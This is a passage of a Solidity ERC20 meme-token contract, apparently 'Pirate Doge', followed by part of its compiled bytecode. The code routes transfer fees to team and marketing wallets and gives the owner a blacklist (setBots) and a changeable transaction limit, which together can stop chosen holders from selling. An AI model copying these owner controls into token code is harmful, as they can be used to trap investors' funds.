emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e9f565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129a6565b61045e565b6040516101789190612e84565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613041565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612953565b61048d565b6040516101e09190612e84565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128b9565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130b6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a2f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128b9565b610783565b6040516102b19190613041565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612db6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e9f565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129a6565b61098d565b60405161035b9190612e84565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129e6565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a89565b6110ab565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612913565b6111f4565b6040516104189190613041565b60405180910390f35b60606040518060400160405280600b81526020017f50697261746520446f6765000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b610556856040518060600160405280602881526020016137bd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f81565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f81565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f504952415445444f474500000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f81565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133fe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613357565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611e00565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f81565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90613001565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128e6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128e6565b6040518363ffffffff1660e01b8152600401610df9929190612dd1565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128e6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e23565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612ab6565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dfa565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a5c565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f81565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f41565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061208890919063ffffffff16565b61210390919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e99190613041565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fe1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612f01565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190613041565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ec1565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612fa1565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90613021565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613177565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611e00565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c078484848461214d565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e9f565b60405180910390fd5b5060008385611c649190613258565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd4600a611cc660048661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d63600a611d5560068661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612ee1565b60405180910390fd5b6000611de361217a565b9050611df8818461210390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3857611e3761342d565b5b604051908082528060200260200182016040528015611e665781602001602082028036833780820191505090505b5090503081600081518110611e7e57611e7d6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2057600080fd5b505afa158015611f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5891906128e6565b81600181518110611f6c57611f6b6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203795949392919061305c565b600060405180830381600087803b15801561205157600080fd5b505af1158015612065573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561209b57600090506120fd565b600082846120a991906131fe565b90508284826120b891906131cd565b146120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90612f61565b60405180910390fd5b809150505b92915050565b600061214583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a5565b905092915050565b8061215b5761215a612208565b5b612166848484612239565b8061217457612173612404565b5b50505050565b6000806000612187612416565b9150915061219e818361210390919063ffffffff16565b9250505090565b600080831182906121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39190612e9f565b60405180910390fd5b50600083856121fb91906131cd565b9050809150509392505050565b600060085414801561221c57506000600954145b1561222657612237565b600060088190555060006009819055505b565b60008060008060008061224b87612478565b9550955095509550955095506122a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238a81612587565b6123948483612644565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123f19190613041565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea00000905061244c683635c9adc5dea0000060065461210390919063ffffffff16565b82101561246b57600654683635c9adc5dea00000935093505050612474565b81819350935050505b9091565b60008060008060008060008060006124948a600854600c61267e565b92509250925060006124a461217a565b905060008060006124b78e878787612714565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125389190613177565b90508381101561257d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257490612f21565b60405180910390fd5b8091505092915050565b600061259161217a565b905060006125a8828461208890919063ffffffff16565b90506125fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612659826006546124df90919063ffffffff16565b6006819055506126748160075461252990919063ffffffff16565b6007819055505050565b6000806000806126aa606461269c888a61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126d460646126c6888b61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126fd826126ef858c6124df90919063ffffffff16565b6124df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061272d858961208890919063ffffffff16565b90506000612744868961208890919063ffffffff16565b9050600061275b878961208890919063ffffffff16565b905060006127848261277685876124df90919063ffffffff16565b6124df90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127b06127ab846130f6565b6130d1565b905080838252602082019050828560208602820111156127d3576127d2613461565b5b60005b8581101561280357816127e9888261280d565b8452602084019350602083019250506001810190506127d6565b5050509392505050565b60008135905061281c81613777565b92915050565b60008151905061283181613777565b92915050565b600082601f83011261284c5761284b61345c565b5b813561285c84826020860161279d565b91505092915050565b6000813590506128748161378e565b92915050565b6000815190506128898161378e565b92915050565b60008135905061289e816137a5565b92915050565b6000815190506128b3816137a5565b92915050565b6000602082840312156128cf576128ce61346b565b5b60006128dd8482850161280d565b91505092915050565b6000602082840312156128fc576128fb61346b565b5b600061290a84828501612822565b91505092915050565b6000806040838503121561292a5761292961346b565b5b60006129388582860161280d565b92505060206129498582860161280d565b9150509250929050565b60008060006060848603121561296c5761296b61346b565b5b600061297a8682870161280d565b935050602061298b8682870161280d565b925050604061299c8682870161288f565b9150509250925092565b600080604083850312156129bd576129bc61346b565b5b60006129cb8582860161280d565b92505060206129dc8582860161288f565b9150509250929050565b6000602082840312156129fc576129fb61346b565b5b600082013567ffffffffffffffff811115612a1a57612a19613466565b5b612a2684828501612837565b91505092915050565b600060208284031215612a4557612a4461346b565b5b6000612a5384828501612865565b91505092915050565b600060208284031215612a7257612a7161346b565b5b6000612a808482850161287a565b91505092915050565b600060208284031215612a9f57612a9e61346b565b5b6000612aad8482850161288f565b91505092915050565b600080600060608486031215612acf57612ace61346b565b5b6000612add868287016128a4565b9350506020612aee868287016128a4565b9250506040612aff868287016128a4565b9150509250925092565b6000612b158383612b21565b60208301905092915050565b612b2a8161328c565b82525050565b612b398161328c565b82525050565b6000612b4a82613132565b612b548185613155565b9350612b5f83613122565b8060005b83811015612b90578151612b778882612b09565b9750612b8283613148565b925050600181019050612b63565b5085935050505092915050565b612ba68161329e565b82525050565b612bb5816132e1565b82525050565b6000612bc68261313d565b612bd08185613166565b9350612be08185602086016132f3565b612be981613470565b840191505092915050565b6000612c01602383613166565b9150612c0c82613481565b604082019050919050565b6000612c24602a83613166565b9150612c2f826134d0565b604082019050919050565b6000612c47602283613166565b9150612c528261351f565b604082019050919050565b6000612c6a601b83613166565b9150612c758261356e565b602082019050919050565b6000612c8d601d83613166565b9150612c9882613597565b602082019050919050565b6000612cb0602183613166565b9150612cbb826135c0565b604082019050919050565b6000612cd3602083613166565b9150612cde8261360f565b602082019050919050565b6000612cf6602983613166565b9150612d0182613638565b604082019050919050565b6000612d19602583613166565b9150612d2482613687565b604082019050919050565b6000612d3c602483613166565b9150612d47826136d6565b604082019050919050565b6000612d5f601783613166565b9150612d6a82613725565b602082019050919050565b6000612d82601183613166565b9150612d8d8261374e565b602082019050919050565b612da1816132ca565b82525050565b612db0816132d4565b82525050565b6000602082019050612dcb6000830184612b30565b92915050565b6000604082019050612de66000830185612b30565b612df36020830184612b30565b9392505050565b6000604082019050612e0f6000830185612b30565b612e1c6020830184612d98565b9392505050565b600060c082019050612e386000830189612b30565b612e456020830188612d98565b612e526040830187612bac565b612e5f6060830186612bac565b612e6c6080830185612b30565b612e7960a0830184612d98565b979650505050505050565b6000602082019050612e996000830184612b9d565b92915050565b60006020820190508181036000830152612eb98184612bbb565b905092915050565b60006020820190508181036000830152612eda81612bf4565b9050919050565b60006020820190508181036000830152612efa81612c17565b9050919050565b60006020820190508181036000830152612f1a81612c3a565b9050919050565b60006020820190508181036000830152612f3a81612c5d565b9050919050565b60006020820190508181036000830152612f5a81612c80565b9050919050565b60006020820190508181036000830152612f7a81612ca3565b9050919050565b60006020820190508181036000830152612f9a81612cc6565b9050919050565b60006020820190508181036000830152612fba81612ce9565b9050919050565b60006020820190508181036000830152612fda81612d0c565b9050919050565b60006020820190508181036000830152612ffa81612d2f565b9050919050565b6000602082019050818103600083015261301a81612d52565b9050919050565b6000602082019050818103600083015261303a81612d75565b9050919050565b60006020820190506130566000830184612d98565b92915050565b600060a0820190506130716000830188612d98565b61307e6020830187612bac565b81810360408301526130908186612b3f565b905061309f6060830185612b30565b6130ac6080830184612d98565b9695505050505050565b60006020820190506130cb6000830184612da7565b92915050565b60006130db6130ec565b90506130e78282613326565b919050565b6000604051905090565b600067ffffffffffffffff8211156131115761311061342d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613182826132ca565b915061318d836132ca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131c2576131c16133a0565b5b828201905092915050565b60006131d8826132ca565b91506131e3836132ca565b9250826131f3576131f26133cf565b5b828204905092915050565b6000613209826132ca565b9150613214836132ca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324d5761324c6133a0565b5b828202905092915050565b6000613263826132ca565b915061326e836132ca565b925082821015613281576132806133a0565b5b828203905092915050565b6000613297826132aa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ec826132ca565b9050919050565b60005b838110156133115780820151818401526020810190506132f6565b83811115613320576000848401525b50505050565b61332f82613470565b810181811067ffffffffffffffff8211171561334e5761334d61342d565b5b80604052505050565b6000613362826132ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613395576133946133a0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f657373000000000000000000000